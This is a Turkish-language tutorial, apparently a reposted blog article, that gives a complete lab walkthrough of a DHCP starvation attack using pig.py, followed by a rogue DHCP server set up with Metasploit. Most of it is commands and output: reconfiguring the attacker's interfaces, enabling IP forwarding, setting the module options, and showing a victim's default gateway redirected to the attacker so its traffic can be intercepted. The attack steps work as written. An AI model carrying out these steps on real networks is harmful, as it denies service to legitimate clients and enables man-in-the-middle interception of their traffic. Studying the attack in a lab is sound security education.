[ad_1]

Dynamic Host Configuration Protocol, istemcilere(client) IP Adres, Ağ Maskesi(Ağ Maskesi), DNS Sunucusu, Varsayılan Ağ Geçidi(Default Gateway) gibi ayar bilgilerini otomatik olarak sağlayan bir istemci/sunucu protokolüdür. DHCP Starvation saldırısı ile bir ağın DHCP Sunucusu’ı cevap veremez ve IP dağıtamaz hale gelebilmektedir. Hemen ardından saldırgan tarafından kurulacak olan Sahte DHCP Sunucusu ile ise ağdaki yeni istemcilerin DNS, ağ geçidi gibi adres bilgilerini saldırganın amacı doğrultusunda dağıtmak mümkün olmaktadır.
           
DHCP Starvation Saldırı Yöntemi:Eğer ağa fazlasıyla DHCPRequest paketi gönderildiyse saldırgan, DHCP Sunucusunu dağıtmak için ayırdığı adresleri uzun bir süre meşgul edebilmektedir. Böylece hedef alınan ağdaki istemcilerin DHCP havuzu kaynakları kullanılamaz hale gelmektedir. Bu yüzden DHCP Starvation, DOS saldırısı olarak adlandırılmaktadır.
Sahte DHCP Sunucusu: DHCP Starvation saldırısı ardından, saldırgan bir Sahte DHCP Sunucusu kurabilmekte ve ‘man in the middle’ saldırılarını düzenleyebilmektedir veya kendi makinesini varsayılan ağ geçidi olarak ayarlayıp trafiği izleyebilmektedir.
            
Sahte DHCP Sunucusu, saldırgan tarafından hedef ağ üzerinde kurulmuş bir DHCP Sunucusudur. Sahte DHCP Sunucuları genellikle hedef ağ üzerinde MITM, sniffing gibi saldırılar için kullanılabilmektedir.

Resim Kaynağı: http://mars.merhot.dk/mediawiki/index.php/CCNP_SWITCH/Securing_the_Campus_Infrastructure

pig.py aracıyla DHCP Starvation saldırısı yaparak ağdaki gerçek DHCP Sunucusu cevap veremez hale getirilebilmektedir. Böylece ağdaki yeni istemcilere dağıtılacak uygun ip adresi kalmamış olmaktadır. Bu saldırı türü, ağda bulunan istemcilerin uzun süreli çevrimiçi olduğu durumlarda oldukça etkili olmaktadır. Aksi takdirde saldırıyı belli aralıklarda tekrarlamak gerekmektedir.
            Uygulama
İlk olarak hedef ağın Ağ Maskesi, DNS Sunucusu ve Ağ Geçidi bilgileri keşfedilir. Daha sonra arayüzü(eth0) ağda kullanılmayan bir ip adresi bularak ayarlanır. Örnek lab ortamında ağ bilgileri aşağıdaki gibidir:
  • Ağ Maskesi: 255.255.255.0
  • Varsayılan Yönlendirici(Router) Adresi: 10.1.10.1
root@kali:~# ifconfig eth0 10.1.10.10 netmask 255.255.255.0

Varsayılan Ağ Geçidi olarak kullanılacak bir alt-arayüz(alt-arayüz) oluşturulur(eth0:1).
Alt-arayüz için de kullanılmayan bir ip adresi ayarlanır. Bu arayüzü Varsayılan Yönlendirici Adresi olarak kullanacağımız için ip adresi seçiminde Varsayılan Ağ Geçidi 10.1.10.1 ise bir alt-arayüzü 10.1.10.11 olarak ayarlamak ilk bakışta daha az dikkat çekici olabilmektedir.


root@kali:~# ifconfig eth0:1 10.1.10.11 netmask 255.255.255.0
root@kali:~# ifconfig
eth0     Link encap:Ethernet  HWaddr 00:00:5e:00:01:0a  
            inet addr:10.1.10.10  Bcast:10.255.255.255  Mask:255.0.0.0
            inet6 addr: fe80::200:5eff:fe00:10a/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX packets:2373 errors:0 dropped:0 overruns:0 frame:0
            TX packets:3053 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:262926 (256.7 KiB)  TX bytes:277272 (270.7 KiB)
eth0:1 Link encap:Ethernet  HWaddr 00:00:5e:00:01:0a  
            inet addr:10.1.10.11  Bcast:10.1.10.255  Mask:255.255.255.0
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

Bu noktada saldırganın makinesinde ip yönlendirmeye izin verilir. (alt-arayüz ve ‘ip_forwarding’ ayarları makinenin yeniden başlaması halinde kaybolmaktadır.)

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
Sonraki adım olarak alt-arayüzün(eth0:1) Varsayılan Ağ Geçidiini ayarlanmalıdır. Alt-arayüzün Varsayılan Ağ Geçidi, hedef ağın gerçek Varsayılan Ağ Geçidi olarak ayarlanır(10.1.10.1). İstemciler için Varsayılan Ağ Geçidi olan Kali makinesi aynı zamanda Varsayılan Yönlendirici görevi görür. 

Bunun anlamı Varsayılan Ağ Geçidi 10.1.10.11 olan istemcilerin trafiği saldırganın makinesine ulaşmaktadır. Hemen ardından ağın gerçek Varsayılan Ağ Geçidine(10.1.10.1) yönlendirilmektedir.

root@kali:~# route add default gw 10.1.10.1 eth0:1
‘route -n’ komutu, yönlendirme tablosu(Route Table) ekrana yansıtılır. Destination(0.0.0.0), yeni herhangi bir trafiğin direk olarak Ağ Geçidi(10.1.10.1)’e gönderilmesini göstermektedir.

root@kali:~# route -n
Kernel IP routing table
Destination      Gateway         Genmask         Flags   Metric  Ref  Use  Iface
0.0.0.0             10.1.10.1         0.0.0.0             UG       0          0      0      eth0
Terminalde farklı bir tab açılarak ‘metasploit’ başlatılır. Ardından Sahte DHCP Sunucusu ayarları yapılır.


root@kali:~# msfconsole
DHCP modülü başlatılır. ‘show options’ komutu ile ekrana girilmesi gereken parametreler ve açıklamaları yazdırılır.


msf > use auxiliary/server/dhcp
msf auxiliary(dhcp) > show options
Module options (auxiliary/server/dhcp):
  Name             Current Setting  Required  Description
  —-                 —————  ——–  ———–
  BROADCAST                        no        The broadcast address to send to
  DHCPIPEND                            no        The last IP to give out
  DHCPIPSTART                       no        The first IP to give out
  DNSSERVER                         no        The DNS server IP address
  DOMAINNAME                       no        The optional domain name to assign
  FILENAME                              no        The optional filename of a tftp boot server
  HOSTNAME                           no        The optional hostname to assign
  HOSTSTART                         no        The optional host integer counter
  NETMASK                              yes      The netmask of the local subnet
  ROUTER                                no        The router IP address
  SRVHOST                             yes      The IP of the DHCP server
DHCPIPSTART ve DHCPIPEND parametreleri Sahte DHCP Sunucusunun dağıtacağı ip aralığını belirlemektedir. Bu yüzden önceden keşfedilen ağda kullanılmayan bir ip aralığı girilmelidir.


msf auxiliary(dhcp) > set broadcast 10.1.10.255
broadcast => 10.1.10.255
msf auxiliary(dhcp) > set dhcpipend 10.1.10.199
dhcpipend => 10.1.10.199
msf auxiliary(dhcp) > set dhcpipstart 10.1.10.101
dhcpipstart => 10.1.10.101
msf auxiliary(dhcp) > set dnsserver 8.8.8.8
dnsserver => 8.8.8.8
msf auxiliary(dhcp) > set netmask 255.255.255.0
netmask => 255.255.255.0
msf auxiliary(dhcp) > set router 10.1.10.11
router => 10.1.10.11
msf auxiliary(dhcp) > set srvhost 10.1.10.10
srvhost => 10.1.10.10
Gerekli parametrelerin verilmesinden sonra son durum aşağıdaki gibi olmaktadır.

msf auxiliary(dhcp) > show options
Module options (auxiliary/server/dhcp):
  Name                        Current Setting  Required     Description
  —-                             —————         ——–         ———–
  BROADCAST            10.1.10.255          no              The broadcast address to send to
  DHCPIPEND    10.1.10.199          no              The last IP to give out
  DHCPIPSTART       10.1.10.101              no              The first IP to give out
  DNSSERVER 8.8.8.8                  no              The DNS server IP address
  DOMAINNAME                                      no     The optional domain name to assign
  FILENAME                                             no     The optional filename of a tftp boot server
  HOSTNAME                                          no     The optional hostname to assign
  HOSTSTART                                         no                The optional host integer counter
  NETMASK               255.255.255.0         yes            The netmask of the local subnet
  ROUTER                   10.1.10.11            no              The router IP address
  SRVHOST                10.1.10.10            yes            The IP of the DHCP server
DHCP Starvation saldırısı başlamadan önce ağdaki herhangi bir istemcinin Varsayılan Ağ Geçidi 10.1.10.1 olarak gözükmektedir.


Ethernet adapter Local Area Connection:
  Connection-specific DNS Suffix  . :
  Link-local IPv6 Address . . . . . : fe80::9907:e380:13fe:5c6c%5
  IPv4 Address. . . . . . . . . . . : 10.1.10.203
  Subnet Mask . . . . . . . . . . . : 255.255.255.0
  Default Gateway . . . . . . . . . : 10.1.10.1
Sahte DHCP Sunucusunun ayarları yapılmış ve başlatılmak için bekletilirken DHCP Starvation saldırısı başlatılır.


‘pig.py eth0:1’ komutunu çalıştırılır.


root@kali:~# pig.py eth0:1
WARNING: No route found for IPv6 destination :: (no default route?)
[ — ] [INFO] – using interface eth0:1
[DBG ] Thread 0 – (Sniffer) READY
[DBG ] Thread 1 – (Sender) READY
[—>] DHCP_Discover
[—>] DHCP_Discover
[—>] DHCP_Discover
[<—] DHCP_Offer    cc:01:62:9d:00:00    0.0.0.0    IP: 10.1.10.251 for MAC=[de:ad:21:3b:c5:df]
[—>] DHCP_Request  10.1.10.251

Ardından Sahte DHCP Sunucusu başlatılır.

msf auxiliary(dhcp) > run
[*] Auxiliary module execution completed
[*] Starting DHCP server…
Artık ağa yeni bağlanacak olan istemci, Kali makinedeki Sahte DHCP Sunucusundan ip almaktadır.


Ethernet adapter Local Area Connection:
  Connection-specific DNS Suffix  . :
  Link-local IPv6 Address . . . . . : fe80::9907:e380:13fe:5c6c%5
  IPv4 Address. . . . . . . . . . . : 10.1.10.102
  Subnet Mask . . . . . . . . . . . : 255.255.255.0
  Default Gateway . . . . . . . . . : 10.1.10.11


Bu noktadan sonra man in the middle yöntemiyle trafiği takip etmek mümkün olmaktadır.

Yazar: Barış DURKUT

[ad_2]

Source link